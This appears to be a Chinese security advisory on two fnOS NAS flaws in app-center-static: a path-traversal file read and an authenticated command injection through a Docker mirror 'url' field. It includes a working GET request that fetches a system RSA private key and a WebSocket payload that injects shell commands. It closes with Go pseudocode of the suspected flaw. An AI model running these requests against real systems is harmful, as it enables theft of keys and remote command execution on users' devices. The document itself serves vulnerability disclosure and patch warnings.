飞牛系统(fnOS)app-center-static 目录遍历导致的任意文件读取漏洞+命令执行漏洞


漏洞简介

飞牛系统(fnOS)app-center-static 存在目录遍历导致的列目录和文件读取漏洞,未授权的攻击者可利用该漏洞读取服务器系统上任意文件如私钥(/usr/trim/etc/rsa_private_key.pem)、历史记录(/root/.bash_history)等敏感信息(/root/.psql_history),进而可能导致服务器失陷。

影响版本

<1.1.15

漏洞复现

目录遍历

多个路径

/app-center-static/serviceicon/trim.media/
/app-center-static/xxx/xx/

我本地复现的是一个早期版本

GET /app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../usr/trim/etc/rsa_private_key.pem HTTP/1.1
Host: 

默认向上穿越四级目录即可到根目录

命令执行


本来不太想发 POC 的,但是鉴于官方在 1.15 还是装死,还是公开了。

Disclaimer: 仅供在自搭建的测试实例学习研究使用。

测试 POC:

WebSocket 连接: http://IP:5666/websocket?type=main

请求 Body:

cA8dKVgUFNf/5QdKdIa7nEhaup6ObIo6D18J0am+KBQ={"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}

JSON 前面的内容是 使用浏览器的 localStorage.fnos-Secret 内的值作为 Key 对后面的 JSON 进行 HMAC-SHA256 后的签名。因为这个 Secret 仅在登陆成功后才会设定,因此需要现有一个有效的账户。

payload 放在请求体的 URL 内,成功后会在 /tmp 下创建文件 hacked20260131 。

此漏洞在当前最新版 1.1.15-1493 中仍然存在。

如果这个版本还有问题,那说明前面还有一个 authorization bypass 漏洞(要么是验证不当,要么是 Nginx 反代配置不当)。

这里感谢 @Hantong 的回复:
我能找到的有记录的版本是 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso, 然后拿官方的那个 https://fnnas.com/api/download-sign POST JSON {"url": "https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso"} 签个名就行


有使用飞牛OS的尽快更新!

目录遍历漏洞原因推测

首先想到的是Nginx 配置问题,读取/usr/trim/nginx/conf/conf.d/trim_app_center.conf 配置文件发现:

location /app-center-static {
    proxy_pass http://unix:/var/run/com.trim.app.center.sock:;
}

Nginx 将 /app-center-static 路径的流量通过 Unix Socket 直接转发给了后端服务,并未在该路径下配置 alias 或静态文件服务,因此漏洞不在 Nginx 层。

后端进程定位: 通过查看进程列表,发现监听该 Socket 的进程为:root 1452 ... /usr/trim/bin/trim_app_center
这是一个以 root 用户运行的二进制程序,大概率就是gin框架的漏洞引起,有想法的可以去逆向分析。

下面来自AI的初步推理

  1. 确认使用 Gin 框架:

    • 在二进制文件 /usr/trim/bin/trim_app_center 中发现了 github.com/gin-gonic/gin 字符串,证实该应用是使用 Gin 框架构建的。
  2. 漏洞归属:开发者实现错误:

    • 非框架原生漏洞:Gin 框架本身的 StaticFS 或 Static 方法通常会处理路径清洗,防止基础的 ../ 遍历。
    • 异常参数模式:漏洞通过 ?size= 查询参数触发,这不是 Gin 框架(也非任何主流 Web 框架)处理静态文件的标准方式。
    • 典型成因:极有可能是开发者为了实现某种"按需读取"或"文件大小检查"逻辑,手动获取了 size 参数,并直接将其拼接或传递给了文件读取函数(如 os.Open 或 http.ServeFile),而没有进行路径清洗(filepath.Clean)或白名单校验。
    • 结论: 该漏洞属于应用层逻辑漏洞(Application Logic Vulnerability),是开发者在使用 Gin 框架开发时编写了不安全的文件处理代码导致的,而非 Gin 框架本身的已知 CVE 漏洞。

详细技术背景

  • Gin 的安全机制:Gin 的 c.File() 和 router.Static() 底层通常会调用 http.ServeFile 或类似的安全实现,会对请求路径进行规范化(Cleaning),难以直接通过 URL 路径(如 /static/../../passwd)进行逃逸。
  • 漏洞代码推测:
// 存在漏洞的伪代码示例
func DownloadHandler(c *gin.Context) {
    filePath := c.Query("size") // 直接获取 size 参数
    // 缺少: filePath = filepath.Clean(filePath)
    // 缺少: if !strings.HasPrefix(filePath, allowedDir) { ... }
    c.File(filePath) // 或 os.Open(filePath) 后读取内容返回
}

这种模式绕过了框架自带的路径路由安全机制。

参考


手机扫码阅读

用友U8Cloud /u8cloud/openapi/ce.paper.query SQL 注入漏洞

金和OA EpassInitTakenSnCheck.aspx、EpassInitTakenSnExec.aspx、EpassInitTakenSnInva.aspx、EpassValidate.aspx XXE+SQL注入漏洞

评 论